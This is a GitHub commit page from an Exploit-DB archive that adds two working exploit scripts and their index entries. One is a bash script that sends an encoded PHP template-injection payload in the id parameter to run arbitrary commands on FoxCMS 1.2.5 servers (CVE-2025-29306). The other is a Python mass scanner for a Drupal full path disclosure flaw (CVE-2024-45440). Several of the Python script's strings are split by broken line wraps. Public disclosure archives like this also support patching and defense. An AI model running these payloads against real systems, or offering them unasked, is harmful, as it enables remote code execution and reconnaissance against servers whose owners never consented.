Skip to content

Commit 71bfc9b

Browse files
author
Exploit-DB
committed
DB: 2025-04-20
3 changes to exploits/shellcodes/ghdb FoxCMS 1.2.5 - Remote Code Execution (RCE) Drupal 11.x-dev - Full Path Disclosure
1 parent 8ce497b commit 71bfc9b

File tree

3 files changed

+164
-0
lines changed

3 files changed

+164
-0
lines changed

‎exploits/multiple/webapps/52267.bash‎

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# Date: 2025-04-17
2+
# Exploit Title:
3+
# Exploit Author: VeryLazyTech
4+
# Vendor Homepage: https://www.foxcms.org/
5+
# Software Link: https://www.foxcms.cn/
6+
# Version: FoxCMS v.1.2.5
7+
# Tested on: Ubuntu 22.04, Windows Server 2019
8+
# CVE: CVE-2025-29306
9+
# Website: https://www.verylazytech.com
10+
11+
#!/bin/bash
12+
13+
banner() {
14+
cat <<'EOF'
15+
______ _______ ____ ___ ____ ____ ____ ___ _____ ___ __
16+
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ \ / _ \___ / / _ \ / /_
17+
| | \ \ / /| _| __) | | | |__) |___ \ __) | (_) ||_ \| | | | '_ \
18+
| |___ \ V / | |___ / __/| |_| / __/ ___) | / __/ \__, |__) | |_| | (_) |
19+
\____| \_/ |_____| |_____|\___/_____|____/ |_____| /_/____/ \___/ \___/
20+
21+
__ __ _ _____ _
22+
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
23+
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
24+
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
25+
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
26+
|___/ |___/
27+
28+
29+
@VeryLazyTech - Medium
30+
31+
EOF
32+
33+
}
34+
35+
# Call the banner function
36+
banner
37+
38+
set -e
39+
40+
# Check for correct number of arguments
41+
if [ "$#" -ne 2 ]; then
42+
printf "Usage: $0 <url> <command>"
43+
exit 1
44+
fi
45+
46+
TARGET=$1
47+
48+
# Encode payload
49+
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))")
50+
FULL_URL="${TARGET}?id=${ENCODED_CMD}"
51+
52+
echo "[*] Sending RCE payload: $2"
53+
HTML=$(curl -s "$FULL_URL")
54+
55+
# Extract <ul> from known XPath location using xmllint
56+
UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null)
57+
58+
# Strip tags, clean up
59+
CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')
60+
61+
echo
62+
echo "[+] Command Output:"
63+
echo "$CLEANED"

‎exploits/php/webapps/52266.py‎

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
#!/usr/bin/env python
2+
# Exploit Title: Drupal 11.x-dev - Full Path Disclosure
3+
# Date: 2025-04-16
4+
# Exploit Author: Milad Karimi (Ex3ptionaL)
5+
# Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
6+
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
7+
# Version: 11.x-dev
8+
# CVE: CVE-2024-45440
9+
10+
# -*- coding:UTF-8 -*-
11+
import re
12+
import requests
13+
def banners():
14+
cve_id = "CVE-2024-45440"
15+
description = "Drupal 11.x-dev Full Path Disclosure Vulnerability: " \
16+
"core/authorize.php allows Full Path Disclosure (even
17+
when error logging is None) " \
18+
"if the value of hash_salt is file_get_contents of a file
19+
that does not exist."
20+
disclaimer = "This tool is for educational purposes only. Any misuse of
21+
this information is the responsibility of " \
22+
"the person utilizing this tool. The author assumes no
23+
responsibility or liability for any misuse or " \
24+
"damage caused by this program."
25+
width = 100
26+
banner_top_bottom = "=" * width
27+
banner_middle = f"{cve_id:^{width}}\n\n{description:^{width}}"
28+
banner =
29+
f"{banner_top_bottom}\n\n{banner_middle}\n\n{disclaimer}\n\n{banner_top_bottom}"
30+
31+
return banner
32+
def scan_single_url(url=None):
33+
if url is None:
34+
print("[+] Input the IP/Domain Example: 127.0.0.1 or 127.0.0.1:8080")
35+
36+
url = input("[+] IP/Domain: ")
37+
if not url.startswith('https://') and not url.startswith('http://'):
38+
full_url = 'http://' + url + '/core/authorize.php'
39+
print("[*] Scanning...")
40+
try:
41+
headers = {
42+
"Host": url,
43+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64;
44+
rv:133.0) Gecko/20100101 Firefox/133.0",
45+
"Accept":
46+
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
47+
"Accept-Language":
48+
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"
49+
}
50+
response = requests.get(full_url, headers,timeout=10)
51+
pattern = r'<em class="placeholder">(/.*?settings\.php)'
52+
matches = re.findall(pattern, response.text)
53+
# print(response.text)
54+
if 'settings.php' in response.text:
55+
print(f"[+] {url} Existed!")
56+
for match in matches:
57+
print("[+] The full path is:", match)
58+
return True
59+
else:
60+
print(f"[-] {url} Not Exist!")
61+
return False
62+
except TimeoutError:
63+
print(f"[-] {url} Timeout!")
64+
except Exception as e:
65+
print(f"[-] {url} Failed!")
66+
return False
67+
def scan_multiple_urls():
68+
print("[+] Input the path of txt Example: ./url.txt or
69+
C:\\the\\path\\to\\url.txt")
70+
url_path = input("[+] Path: ")
71+
url_list = []
72+
result_list = []
73+
try:
74+
with open(url_path, 'r', encoding='utf-8') as f:
75+
lines = f.readlines()
76+
for line in lines:
77+
url_list.append(line.strip())
78+
except FileNotFoundError as e:
79+
print("[-] File Not Found!")
80+
for url in url_list:
81+
result = scan_single_url(url)
82+
if result:
83+
result_list.append(url)
84+
print("[+] Successful Target:")
85+
for result in result_list:
86+
print(f"[+] {result}")
87+
def main():
88+
print(banners())
89+
print("[1] Scan single url\n[2] Scan multiple urls")
90+
choice = input("[+] Choose: ")
91+
if choice == '1':
92+
scan_single_url()
93+
elif choice == '2':
94+
scan_multiple_urls()
95+
else:
96+
print("[-] Invalid option selected!")
97+
pass
98+
if __name__ == '__main__':
99+
main()

‎files_exploits.csv‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11963,6 +11963,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
1196311963
49600,exploits/multiple/webapps/49600.rb,"FortiLogger 4.4.2.2 - Unauthenticated Arbitrary File Upload (Metasploit)",2021-03-01,"Berkan Er",webapps,multiple,,2021-03-01,2021-03-01,1,CVE-2021-3378,,,,,
1196411964
50759,exploits/multiple/webapps/50759.txt,"Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS)",2022-02-18,"Braiant Giraldo Villa",webapps,multiple,,2022-02-18,2022-02-18,0,CVE-2021-43062,,,,,
1196511965
51092,exploits/multiple/webapps/51092.sh,"FortiOS_ FortiProxy_ FortiSwitchManager v7.2.1 - Authentication Bypass",2023-03-27,"Felipe Alcantara",webapps,multiple,,2023-03-27,2023-03-27,0,CVE-2022-40684,,,,,
11966+
52267,exploits/multiple/webapps/52267.bash,"FoxCMS 1.2.5 - Remote Code Execution (RCE)",2025-04-19,VeryLazyTech,webapps,multiple,,2025-04-19,2025-04-19,0,CVE-2025-29306,,,,,
1196611967
11186,exploits/multiple/webapps/11186.txt,"FreePBX 2.5.1 - SQL Injection",2010-01-18,"Ivan Huertas",webapps,multiple,,2010-01-17,,1,OSVDB-61919,,CYBSEC-Advisory2010-0103-FreePBX_2_5_1_SQL_Injection.pdf,,,
1196711968
11187,exploits/multiple/webapps/11187.txt,"FreePBX 2.5.x - Information Disclosure",2010-01-18,"Ivan Huertas",webapps,multiple,,2010-01-17,,1,OSVDB-61918,,CYBSEC-Advisory2010-0101-FreePBX_2_5_x_Information_disclosure.pdf,,,
1196811969
11184,exploits/multiple/webapps/11184.txt,"FreePBX 2.5.x < 2.6.0 - Persistent Cross-Site Scripting",2010-01-18,"Ivan Huertas",webapps,multiple,,2010-01-17,,1,OSVDB-61920,,CYBSEC-Advisory2010-0102-FreePBX_2_5_x-2_6_Permanent_XSS.pdf,,,
@@ -17546,6 +17547,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
1754617547
9635,exploits/php/webapps/9635.txt,"Drunken:Golem Gaming Portal - 'admin_news_bot.php' Remote File Inclusion",2009-09-10,"EA Ngel",webapps,php,,2009-09-09,,1,OSVDB-61856;CVE-2009-4622,,,,,
1754717548
3207,exploits/php/webapps/3207.pl,"Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion",2007-01-27,MackRulZ,webapps,php,,2007-01-26,2016-09-27,1,OSVDB-36619;CVE-2007-0572,,,,http://www.exploit-db.comdrunkengolem_alpha2.zip,
1754817549
51723,exploits/php/webapps/51723.txt,"Drupal 10.1.2 - web-cache-poisoning-External-service-interaction",2023-09-08,nu11secur1ty,webapps,php,,2023-09-08,2023-09-08,0,,,,,,
17550+
52266,exploits/php/webapps/52266.py,"Drupal 11.x-dev - Full Path Disclosure",2025-04-19,"Milad karimi",webapps,php,,2025-04-19,2025-04-19,0,CVE-2024-45440,,,,,
1754917551
21863,exploits/php/webapps/21863.txt,"Drupal 4.0 - News Message HTML Injection",2002-09-25,das@hush.com,webapps,php,,2002-09-25,2012-10-09,1,CVE-2002-1806;OSVDB-59300,,,,,https://www.securityfocus.com/bid/5801/info
1755017552
22940,exploits/php/webapps/22940.txt,"Drupal 4.1/4.2 - Cross-Site Scripting",2003-07-21,"Ferruh Mavituna",webapps,php,,2003-07-21,2012-11-27,1,,,,,,https://www.securityfocus.com/bid/8235/info
1755117553
1088,exploits/php/webapps/1088.pl,"Drupal 4.5.3 < 4.6.1 - Comments PHP Injection",2005-07-05,dab,webapps,php,,2005-07-04,2016-05-25,1,OSVDB-17647;CVE-2005-2106,,,,http://www.exploit-db.comdrupal-4.5.3.zip,

0 commit comments

Comments
 (0)